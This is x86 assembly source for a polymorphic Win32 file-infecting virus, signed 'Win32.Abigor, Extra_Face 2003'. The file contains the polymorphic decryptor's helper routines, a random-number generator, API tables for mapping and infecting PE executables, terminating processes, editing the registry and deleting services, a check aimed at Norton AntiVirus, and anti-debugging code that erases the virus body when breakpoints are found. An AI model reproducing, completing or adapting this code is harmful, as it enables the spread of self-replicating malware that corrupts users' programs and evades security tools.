;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;  



GetRegs proc                                ; Determines regs affectation in poly cryptor loop
        push   edx
        push   ebx
        push   esi
        
        push   3
        pop    esi

    GetRegsLp:
       @@:
        xor    eax,eax
        push   7
        pop    ecx
        Call   Get_rand_range



        mov    edx,eax
                
       @@:
        xor    eax,eax
        push   7
        pop    ecx
        Call   Get_rand_range


        cmp    eax,edx
        jz     @B
        
        mov    ebx,eax

        
        mov    al, byte ptr [ebp + edx + base_reg]          
        xchg   al, byte ptr [ebp + ebx + base_reg]  
        mov    byte ptr [ebp + edx + base_reg],al

        dec    esi
        jns    GetRegsLp


        pop    esi
        pop    ebx
        pop    edx                   
        ret
GetRegs endp

;GetValid8BREGS proc
;        lea   eax, dword ptr [ebp + base_reg]
;        
;        ret
;GetValid8BREGS endp

ArrangeTo8Bits? proc
         push   ecx
         Call   Random32
         and    eax,0Fh
         jnz    @F
         push   -80h
         pop    eax
         push   80h
         pop    ecx
         Call   Get_rand_range
         mov    ebx,eax
        @@:
         pop    ecx
         ret
ArrangeTo8Bits? endp

OneByte db 0FCh
        db 0FDh
        db 0F5h
        db 0F8h
        db 0F9h
      
OneSize           = $ - OFFSET OneByte

Rand_OneByte proc

        Call   Random32
        and    eax, 07FFh
        jnz    @F


        push   ecx
        lea    eax, dword ptr [ebp + OneByte]
        mov    ecx, eax
        add    ecx, OneSize
        Call   Get_rand_range
        mov    al, byte ptr [eax]
        stosb
        pop    ecx
       @@:
        ret
Rand_OneByte endp
           
Prefix_Tbl db 0F2H
           db 0F3h
           db 0F2H
           db 0F3h
           db 0F2H
           db 0F3h
           db 0F2H
           db 0F3h
           db 0F2H
           db 0F3h
           db 0F2H
           db 0F3h
           db 2EH
           db 3EH
           db 26H
           db 64H
           db 65H
           db 2EH
           db 3EH
Prefix_TBL_size = $ - OFFSET Prefix_Tbl



Rand_Prefix proc uses ecx


        xor    eax, eax
        push   35
        pop    ecx
        Call   Get_rand_range
        dec    eax
        jnz    SkipPrefix

        push   ecx
        lea    eax, dword ptr [ebp + Prefix_Tbl]
        mov    ecx, eax
        add    ecx, Prefix_TBL_size
        Call   Get_rand_range
        mov    al, byte ptr [eax]
        stosb
        pop    ecx

       SkipPrefix:
        ret
Rand_Prefix endp

Get_rand_range proc         ; eax: min, ecx : max
       push edx
       push ebx

       
       mov  ebx,eax
       sub  ecx,eax
       mov  eax,ecx


       Call Random32
       xor  edx,edx
       jecxz @F
       div  ecx
      @@:
       add   edx,ebx
       mov  eax,edx

       pop  ebx
       pop  edx
       ret
Get_rand_range endp


Random_init proc

        lea   eax, dword ptr [ebp + szGetTickCount]
        Call  K32Api
        sub   dword ptr [ebp + SEED1], eax
        lea   eax, dword ptr [ebp + CreationTime]
        push  eax
        lea   eax, dword ptr [ebp + szGetSystemTimeAsFileTime]
        Call  K32Api
        mov   eax, dword ptr [ebp + CreationTime]
        add   dword ptr [ebp + SEED2], eax

        ret
Random_init endp

Random32 Proc uses ecx ebx edx

         mov  ebx, dword ptr [ebp + SEED1]
         rdtsc
         mov  ecx, eax
         and  ecx, 0F0Fh
         mov  eax, dword ptr [ebp + SEED2]
         bswap ebx
         ror  ebx, 3
         xor  ebx, 0B56AF12h
         rcl  ebx, cl
         adc  ebx, 15448Ch
         ror  ebx, 3
         xor  ebx, dword ptr [ebp + SEED1]
         add  eax, 124154144
         xor  dword ptr [ebp + SEED1], eax
         mov  cl, ch
         rcl  eax, cl
         adc  dword ptr [ebp + SEED1], ebx
         xor  dword ptr [ebp + SEED2], ebx
         xor  eax, ebx

         ret

         SEED1 dd 0
         SEED2 dd 0

Random32 endp


   

    _KERNEL32        dd  77E40000h  ; kernel XP
    

    szGetProcAddress db "GetProcAddress",0
    GPASIZE          equ OFFSET $ - OFFSET szGetProcAddress
    _GetProcAddress  dd  0bff76dach   ; default GPA (hardcoded win98)
    

;shitty db "FUCK.VXD",0

    ;UPXSign       db "UPX",0
    ;UPXSignLen    equ $ - OFFSET UPXSign
    
    ZipSign       db "_winzip_"
    ZipSignLen    equ $ - OFFSET ZipSign
  

    Kernel              db "kernel32.dll",0

    
K32APIZ:
    szLoadLibraryA                  db "LoadLibraryA",0
    szFreeLibrary                   db "FreeLibrary",0
    szUnmapViewOfFile               db "UnmapViewOfFile",0
    szCreateFileMappingA            db "CreateFileMappingA",0
    szCreateFileA                   db "CreateFileA",0
    szMapViewOfFile                 db "MapViewOfFile",0
    szGetFileSize                   db "GetFileSize",0
    szCloseHandle                   db "CloseHandle",0
    szSetFilePointer                db "SetFilePointer",0    
    szSetEndOfFile                  db "SetEndOfFile",0
    szFindFirstFileA                db "FindFirstFileA",0
    szFindNextFileA                 db "FindNextFileA",0
    szFindClose                     db "FindClose",0
    szVirtualAlloc                  db "VirtualAlloc",0
    szVirtualFree                   db "VirtualFree",0
    szGetTickCount                  db "GetTickCount",0
    szGetSystemTimeAsFileTime       db "GetSystemTimeAsFileTime",0
    szGetFileAttributesA            db "GetFileAttributesA",0
    szSetFileAttributesA            db "SetFileAttributesA",0
    szGetFileTime                   db "GetFileTime",0
    szSetFileTime                   db "SetFileTime",0
    szGetWindowsDirectoryA          db "GetWindowsDirectoryA",0
    szGetSystemDirectoryA           db "GetSystemDirectoryA",0
    szCopyFileA                     db "CopyFileA",0
    szGetVersionExA                 db "GetVersionExA",0
    szGetComputerNameA              db "GetComputerNameA",0
    szIsDebuggerPresent             db "IsDebuggerPresent",0
    szGetCommandLineA               db "GetCommandLineA",0
    szCreateProcessA                db "CreateProcessA",0
    szGetStartupInfoA               db "GetStartupInfoA",0
    szGetModuleFileNameA            db "GetModuleFileNameA",0
    szlstrcmpiA                     db "lstrcmpiA",0
    szMultiByteToWideChar           db "MultiByteToWideChar",0
    szOpenProcess                   db "OpenProcess",0
    szCreateToolhelp32Snapshot      db "CreateToolhelp32Snapshot",0
    szProcess32First                db "Process32First",0
    szProcess32Next                 db "Process32Next",0
    szTerminateProcess              db "TerminateProcess",0
    szGetTempPathA                  db "GetTempPathA",0
    szGetTempFileNameA              db "GetTempFileNameA",0
    szWriteFile                     db "WriteFile",0
    szSetErrorMode                  db "SetErrorMode",0
    szCreateThread                  db "CreateThread",0
    ;szGetCurrentThreadId            db "GetCurrentThreadId",0
    ;szSuspendThread                 db "SuspendThread",0
    ;szResumeThread                  db "ResumeThread",0
    ;szGetThreadContext              db "GetThreadContext",0
    ;szSetThreadContext              db "SetThreadContext",0
    szExitThread                    db "ExitThread",0
    szWaitForSingleObject           db "WaitForSingleObject",0
    szCreateEventA                   db "CreateEventA",0
    szSetEvent                      db "SetEvent",0
    szDeleteFileA                   db "DeleteFileA",0


    USER32                          db "USER32",0
    szFindWindowA                   db "FindWindowA",0
    szSendMessageA                  db "SendMessageA",0
    
    Advapi32                        db "advapi32",0
    szRegCloseKey                   db "RegCloseKey",0
    szRegCreateKeyExA               db "RegCreateKeyExA",0
    szRegSetValueExA                db "RegSetValueExA",0
    szOpenSCManagerA                db "OpenSCManagerA",0
    szCloseServiceHandle            db "CloseServiceHandle",0
    szOpenServiceA                  db "OpenServiceA",0
    szControlService                db "ControlService",0
    szDeleteService                 db "DeleteService",0
    szGetUserNameA                  db "GetUserNameA",0
    
    Psapi                           db "psapi",0
    szEnumProcesses                 db "EnumProcesses",0
    szGetModuleFileNameExA          db "GetModuleFileNameExA",0
   
    SFC                             db "SFC",0
    szSfcIsFileProtected            db "SfcIsFileProtected",0

    IMAGEHLP                        db "IMAGEHLP",0
    szCheckSumMappedFile            db "CheckSumMappedFile",0

    Shell32                         db "Shell32",0
    szSHGetFileInfo                 db "SHGetFileInfo",0
    
    szExitProcess                   db "ExitProcess",0  
    
    msvcrt                          db "msvcrt",0    
    _exit                           db "_exit",0 ; Msvctr's C\C++ standard exit function   
    exit                            db "exit",0  ; ...
    ;divider                         dd 10000000

    NAV_Win                         db "Norton AntiVirus",0
    hNAVWnd                         dd  ?
    TS_Win                          db "TS_server",0        ; Tiny Sting backdoor
    
U32APIZ:
    szMessageBoxA                   db "MessageBoxA",0                                
    ;szMessageBeep                   db "MessageBeep",0


    ;pAlloc                  dd      0


    hFind                   dd      0   
    ApiCounter              dd      0
    _USER32                 dd      0
    _ADVAPI32               dd      0
    _PSAPI                  dd      0
    _Shell32                dd      0
    _Exit1                  dd      0
    _Exit2                  dd      0
    _Exit3                  dd      0


    
    ThunkIndex              dd      0
    ;ImportSec               dd      0 
    hFile                   dd      0
    hMap                    dd      0
    pMap                    dd      0
    Size2Align              dd      0
    ;CryptBuf                dd      0

    FAlignment              dd      0
    ImageBase               dd      0
    ;EntryPoint              dd      0
    PEheader                dd      0
    OriginalAttributes      dd      0
    OriginalFileTime        dd      0
    ;SectionAlignment        dd      0
    
    InfectionTime           FILETIME <0>
    CreationTime            FILETIME <0>
    LastAccessTime          FILETIME <0>
    LastWriteTime           FILETIME <0>
    TimeDifference          FILETIME <0>

    ;ExitCode                dd          0
    pFileName               dd          0   
    SecHeader               dd          0
    HostBase                dd          0
    Patched?                dd          0
    SizeRelative            dd          0      
    hSFC                    dd          0
    pAlloc                  dd          0
    OldSize                 dd          0 
    ;hSnapShot               dd          0
    OldCompName             db          (MAX_COMPUTERNAME_LENGTH + 1) dup (0)
    InfectionCtr            db          0 
    _SizeTestFailed         db          0
    NewSystem               db          0
    


K32Api proc     
                                                 
      push   eax
      push   dword ptr [ebp+_KERNEL32]      
      Call   dword ptr [ebp+_GetProcAddress] 
      Call   StealthCode
      jmp    eax

K32Api endp      

      
U32Api proc   
                                  
      push   eax
      push   dword ptr [ebp+_USER32]
      Call   dword ptr [ebp+_GetProcAddress] 
      Call   StealthCode
      jmp    eax

U32Api endp

ADVAPI32Api proc

      push   eax
      push   dword ptr [ebp+_ADVAPI32]
      Call   dword ptr [ebp+_GetProcAddress] 
      Call   StealthCode
      jmp    eax
      
ADVAPI32Api endp

PSAPIApi    proc

      push   eax
      push   dword ptr [ebp+_PSAPI]
      Call   dword ptr [ebp+_GetProcAddress]
      Call   StealthCode
      jmp    eax
       
PSAPIApi    endp




StealthCode proc

      mov    ecx, dword ptr [esp+4]
      cmp    byte ptr [ecx], 0CCh           ; BPX check : Virus code return address
      jz     ZeroShit
      cmp    byte ptr [eax], 0CCh           ; BPX check : Api entrypoint
      jz     ZeroShit
      ret
StealthCode endp



ZeroShit:



        exception_handler:
            xor     edx,edx    
            pop     dword ptr fs:[edx]

        ;mov esp, [esp + 8]

        db 0BDh
@@Delta dd 0            ; Restore Delta
        
        
            .IF    byte ptr [ebp + _MainHostFile] == 1
                 @@:
                    Call    ReDoMainHost          
                    cmp  byte ptr [ebp + _MainHostFile], 1
                    jz   @B                   
            .ENDIF   
     

            
            lea    eax,dword ptr [ebp+msvcrt]
            push   eax
            lea    eax,dword ptr [ebp+szLoadLibraryA]
            CAll   K32Api

            lea    ecx,dword ptr [ebp+exit]
            push   ecx           
            push   eax
            lea    eax,dword ptr [ebp+szGetProcAddress]
            CAll   K32Api            

            
            mov    ebx, eax
           TheEnd:
            xor    eax, eax
            push   0                                   ; ExitCode
            mov    ecx, ZeroShitSize / 4
            lea    edi, [ebp + VirusStart]
ZeroShitSize       equ     ($ - OFFSET VirusStart) 
            rep    stosd
            Call   ebx
            ret
            db "Win32.Abigor, Extra_Face 2003 (c)",0

EndVir:
    VirusSize       equ     OFFSET  EndVir - OFFSET VirusStart 
    CryptSize       equ     OFFSET  EndVir - OFFSET VirusStart
    MAX_POLY_SIZE   equ     VirusSize + MAX_DEC_SIZE
    MAX_DEC_SIZE    equ     120000                                  ; Big MEM
    MAX_POLY_RECURSIVITY_SIZE equ MAX_DEC_SIZE / 2
    MAX_BRANCH_CODE_SIZE equ     30000                              ; for branch structures
    MINIMUM_FILE_SIZE equ   8000     
    MAXIMUM_FILE_SIZE equ   4000000           
    TIME_DROP       equ     0FFFFFFE0h       ;FFFFFD00 ~= 3,5 jours             

end start